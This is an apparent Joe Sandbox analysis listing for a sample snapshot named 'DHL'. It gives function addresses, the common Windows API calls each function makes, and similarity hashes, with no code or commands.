Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 64639398afe3135ee6329836de2f3267b42de6fc0f74e68076bfb0b34c1871a5
Instruction ID: 8488a9db577268a4d200eeabd37e9d46f99bdf78c9840b38c73617d30874b843
Opcode Fuzzy Hash: 64639398afe3135ee6329836de2f3267b42de6fc0f74e68076bfb0b34c1871a5
Instruction Fuzzy Hash: D611D63A200245ABCB159F34EC45E7A77A5FF85390B50412AF946C72A4EB31D811D7A1

Function 00A37CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00A37D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00A37D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00A37D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00A1B7AD,00000000), ref: 00A37D6B

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 52d4f8b2bc5acc5f029ac2c9b46b7f78908d0bac8236577b99ac6bc1ce753860
Instruction ID: f95f39209bc38e1ef09e6580b99f9c2cae4771144945138b8e6bab61428ac1ff
Opcode Fuzzy Hash: 52d4f8b2bc5acc5f029ac2c9b46b7f78908d0bac8236577b99ac6bc1ce753860
Instruction Fuzzy Hash: 5D11DF72214664AFCB20CF68CC04AAA3BA4AF453B0F118324F939D72F0D7308952DB40

Function 00A35660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00A356BB
_wcslen.LIBCMT ref: 00A356CD
_wcslen.LIBCMT ref: 00A356D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A35816

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: beaa2e694dabf683293f8b1d8e4a0e9c1f4bd9254c8676376c48285bb3046ac0
Instruction ID: 7d6274ec0e2cabc3eef22bd26fe5ee54497469fb9e46587153a311b6e413c3a6
Opcode Fuzzy Hash: beaa2e694dabf683293f8b1d8e4a0e9c1f4bd9254c8676376c48285bb3046ac0
Instruction Fuzzy Hash: 1711B471E0061496DB20DFB98C86BEE77BCAF11760F54802AF915D6081E7748A80CB61

Function 009D1D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e94ecd7740e0e51192f3c6d2fdd3059fe6ca9812bfcc1136e0d77801478a051
Instruction ID: 5f5eddcb75f15ec6bb213828844d63e761f7c2bb449aebd06ea258ec5265ebd4
Opcode Fuzzy Hash: 5e94ecd7740e0e51192f3c6d2fdd3059fe6ca9812bfcc1136e0d77801478a051
Instruction Fuzzy Hash: 98018BB72896167FF6212AB86CC0F67661EDF817B8B308327F522A13D2DB608C409160

Function 00A01A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00A01A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A01A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A01A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A01A8A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c9778418000054a38d570816bdb211ad9a4425707c095b8749dbd1e08f8aae5e
Instruction ID: e99503cb051a2cafe22c3ca3d67b7d8a0cc7984a7701f739214d8a732d49f4d8
Opcode Fuzzy Hash: c9778418000054a38d570816bdb211ad9a4425707c095b8749dbd1e08f8aae5e
Instruction Fuzzy Hash: E811F73AA01219FFEB11DBA5DD85FEDBB78EB08750F200091EA04B7290D6716E51DB94

Function 00A0E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A0E1FD
MessageBoxW.USER32(?,?,?,?), ref: 00A0E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00A0E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00A0E24D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: cd1653e46db387e97e6810b5d670b24f4a835c61f3ca6535009ab2823f08de69
Instruction ID: ccfc939b136acd7984c02ce45d87b8af702ad80e7e12541f470065eaaebb8f3c
Opcode Fuzzy Hash: cd1653e46db387e97e6810b5d670b24f4a835c61f3ca6535009ab2823f08de69
Instruction Fuzzy Hash: FE110872D04218BBCB01DBECAC09ADE7FACAB45325F008719F924E72D0D270C90187A0

Function 009CD1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,009CCFF9,00000000,00000004,00000000), ref: 009CD218
GetLastError.KERNEL32 ref: 009CD224
__dosmaperr.LIBCMT ref: 009CD22B
ResumeThread.KERNEL32(00000000), ref: 009CD249

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 0737f74cbe11c1eab17552bf88b3a63c9acc84a24dde029c139eea3f2e7f5a1b
Instruction ID: 2fd20045132914c9487ab971eee6c9f95d6317974cd768f5aee23532d0ed5885
Opcode Fuzzy Hash: 0737f74cbe11c1eab17552bf88b3a63c9acc84a24dde029c139eea3f2e7f5a1b
Instruction Fuzzy Hash: 6C019276C06204BBDB219BA5DC09FAA7A6DDFC1731F20422DF935961D0DB71C901D7A2

Function 009A600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 009A604C
GetStockObject.GDI32(00000011), ref: 009A6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 009A606A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 97f1c9ae6957a777d8b6de8bb95e28683f5b4fa3beb27f41045b80e383e55d71
Instruction ID: 7e6ccbd41d20ea68389ea99a89adc8f412ed999c5a7d4aab48ecdd89238ae162
Opcode Fuzzy Hash: 97f1c9ae6957a777d8b6de8bb95e28683f5b4fa3beb27f41045b80e383e55d71
Instruction Fuzzy Hash: F5116D72501959BFEF128FA59C44EEABB6DFF093A4F090215FA1462110D7369CA1EBE0

Function 009C3B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 009C3B56

Part of subcall function 009C3AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 009C3AD2
Part of subcall function 009C3AA3: ___AdjustPointer.LIBCMT ref: 009C3AED

_UnwindNestedFrames.LIBCMT ref: 009C3B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 009C3B7C
CallCatchBlock.LIBVCRUNTIME ref: 009C3BA4

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: a54d4fb1c8a85f3e42606a7017217452d97cc85948d3d68efc17c2cbe7b9032d
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: AF01D732900149BBDF129E95CC46FEB7B6DEF98754F048018FE5866121C632E9619BA1

Function 009D3073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,009A13C6,00000000,00000000,?,009D301A,009A13C6,00000000,00000000,00000000,?,009D328B,00000006,FlsSetValue), ref: 009D30A5
GetLastError.KERNEL32(?,009D301A,009A13C6,00000000,00000000,00000000,?,009D328B,00000006,FlsSetValue,00A42290,FlsSetValue,00000000,00000364,?,009D2E46), ref: 009D30B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,009D301A,009A13C6,00000000,00000000,00000000,?,009D328B,00000006,FlsSetValue,00A42290,FlsSetValue,00000000), ref: 009D30BF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 67a019ac47df2390d616066f8284efc3f1837f1f7ee665746446887817348fd9
Instruction ID: 244962bc1b7845bbe4ba6da438c41239da634e3410d5d577f3792e0d53be2f64
Opcode Fuzzy Hash: 67a019ac47df2390d616066f8284efc3f1837f1f7ee665746446887817348fd9
Instruction Fuzzy Hash: 8001D436381222ABCB218BB8EC449577B9CAF45B72B14C621F905F7240C725D902C7E1

Function 00A07464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00A0747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00A07497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00A074AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00A074CA

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 5bde2e0b209e228185ab95509d1e3d7ed821b53ee33b7a7780bd867b8ed822f5
Instruction ID: cf664e9e7d7e6ee3714f811c75cff19384d544af0536a8cea7ac3aad8dcdb07a
Opcode Fuzzy Hash: 5bde2e0b209e228185ab95509d1e3d7ed821b53ee33b7a7780bd867b8ed822f5
Instruction Fuzzy Hash: 1211ADB5A05318ABE720CF58EC08B9A7BFCEB00B10F108569B656E6191D7B2F904DB60

Function 00A0B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00A0ACD3,?,00008000), ref: 00A0B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A0ACD3,?,00008000), ref: 00A0B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00A0ACD3,?,00008000), ref: 00A0B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A0ACD3,?,00008000), ref: 00A0B126

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 667a5b49148da314d1614ccf068461d31745e3e3d42b910967df3cc60a18d36c
Instruction ID: e0b8b6c6567b63e3e652b0c971b1866a67b8ecfeefaf5fcaa46361fc938d3de0
Opcode Fuzzy Hash: 667a5b49148da314d1614ccf068461d31745e3e3d42b910967df3cc60a18d36c
Instruction Fuzzy Hash: 0C116D31C1152CE7CF00EFE4EE68AEEBB78FF49721F104285E941B2181CB3056619BA1

Function 00A02DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00A02DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00A02DD6
GetCurrentThreadId.KERNEL32 ref: 00A02DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00A02DE4

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 8541f380f3ae5a5158dc4948600ba39f9aa4ece8ba62a5e52ce4adc36a59c524
Instruction ID: 47518e6ebbcb6abd3d30e56a0cf1ff44a8ce49c549a9afedaa77c262f3d44230
Opcode Fuzzy Hash: 8541f380f3ae5a5158dc4948600ba39f9aa4ece8ba62a5e52ce4adc36a59c524
Instruction Fuzzy Hash: 31E06D711013287ADB205BA2AC0EFEB7E6CEB42BB1F001115B105E10809AA0C942C7B0

Function 00A38863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 009B9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009B9693
Part of subcall function 009B9639: SelectObject.GDI32(?,00000000), ref: 009B96A2
Part of subcall function 009B9639: BeginPath.GDI32(?), ref: 009B96B9
Part of subcall function 009B9639: SelectObject.GDI32(?,00000000), ref: 009B96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00A38887
LineTo.GDI32(?,?,?), ref: 00A38894
EndPath.GDI32(?), ref: 00A388A4
StrokePath.GDI32(?), ref: 00A388B2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: d675fbda64ebaabeb3746dc7fe2f0949c6da9d01938d23213e09da94573391f1
Instruction ID: cfaf9acec7528f26a1db28fc48983b0dfda99b6c95a87cf3ac75edba0d21ba95
Opcode Fuzzy Hash: d675fbda64ebaabeb3746dc7fe2f0949c6da9d01938d23213e09da94573391f1
Instruction Fuzzy Hash: 14F0DA36045659FBDB129FD8AC0AFCA3B69AF06320F448100FB12750E2C7795552DBA5

Function 009B98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009B98CC
SetTextColor.GDI32(?,?), ref: 009B98D6
SetBkMode.GDI32(?,00000001), ref: 009B98E9
GetStockObject.GDI32(00000005), ref: 009B98F1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: b5de0dc1feea99d0ff56a46c367bfa0e4b6c2e6b1b6cb7d9e4c0eaf3b42e38dd
Instruction ID: f65ad7ae99c51cd6159e7d92b81773d882b23b1c06cb31eaf2aa067e09c5f8b5
Opcode Fuzzy Hash: b5de0dc1feea99d0ff56a46c367bfa0e4b6c2e6b1b6cb7d9e4c0eaf3b42e38dd
Instruction Fuzzy Hash: A3E09B31244244AEDF219BB4FC09BE87F15EB11335F048319F7F6650E1C37146419B10

Function 00A0162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00A01634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00A011D9), ref: 00A0163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00A011D9), ref: 00A01648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00A011D9), ref: 00A0164F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 06a5772e20ebcabc7758a1afa8876a85d3fd01832d41bc32987f5bda5c532e65
Instruction ID: 3a5e05cee55c3fd6be6dc336aa6e5d41d251fb52ce7b52f997ef36ad98e27043
Opcode Fuzzy Hash: 06a5772e20ebcabc7758a1afa8876a85d3fd01832d41bc32987f5bda5c532e65
Instruction Fuzzy Hash: 59E08C32A02211EBD7206FE0AE0DBC77B7CAF457A6F148808F245E9080E7348546CB60

Function 009FD858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 009FD858
GetDC.USER32(00000000), ref: 009FD862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 009FD882
ReleaseDC.USER32(?), ref: 009FD8A3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 994c86072c158d2058c8c35890560e425a67cafbd41c2e697e6d95b59be9053b
Instruction ID: 9f10b5b3fd4e4b65dfb5970775f0bcd522ab27895c297a6399b4b057467df372
Opcode Fuzzy Hash: 994c86072c158d2058c8c35890560e425a67cafbd41c2e697e6d95b59be9053b
Instruction Fuzzy Hash: 2EE0EEB1800204EFCB41EFE09D09A6DBBB2AB08320F209409F846A7260CB388902AF40

Function 009FD86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 009FD86C
GetDC.USER32(00000000), ref: 009FD876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 009FD882
ReleaseDC.USER32(?), ref: 009FD8A3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 659ea921f270b6a369cb2119b7d36d91a986ecdd7c72ed5b59fab01fb03a10f8
Instruction ID: d3800c71161a4cf811821305806ba89080f9f7cca2d64d3cf145ca48f4a921cb
Opcode Fuzzy Hash: 659ea921f270b6a369cb2119b7d36d91a986ecdd7c72ed5b59fab01fb03a10f8
Instruction Fuzzy Hash: 21E092B5800604EFCB51EFE0DD4D66DBBB5BB48321F149449F94AF7260DB389902AF50

Function 00A14D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 009A7620: _wcslen.LIBCMT ref: 009A7625

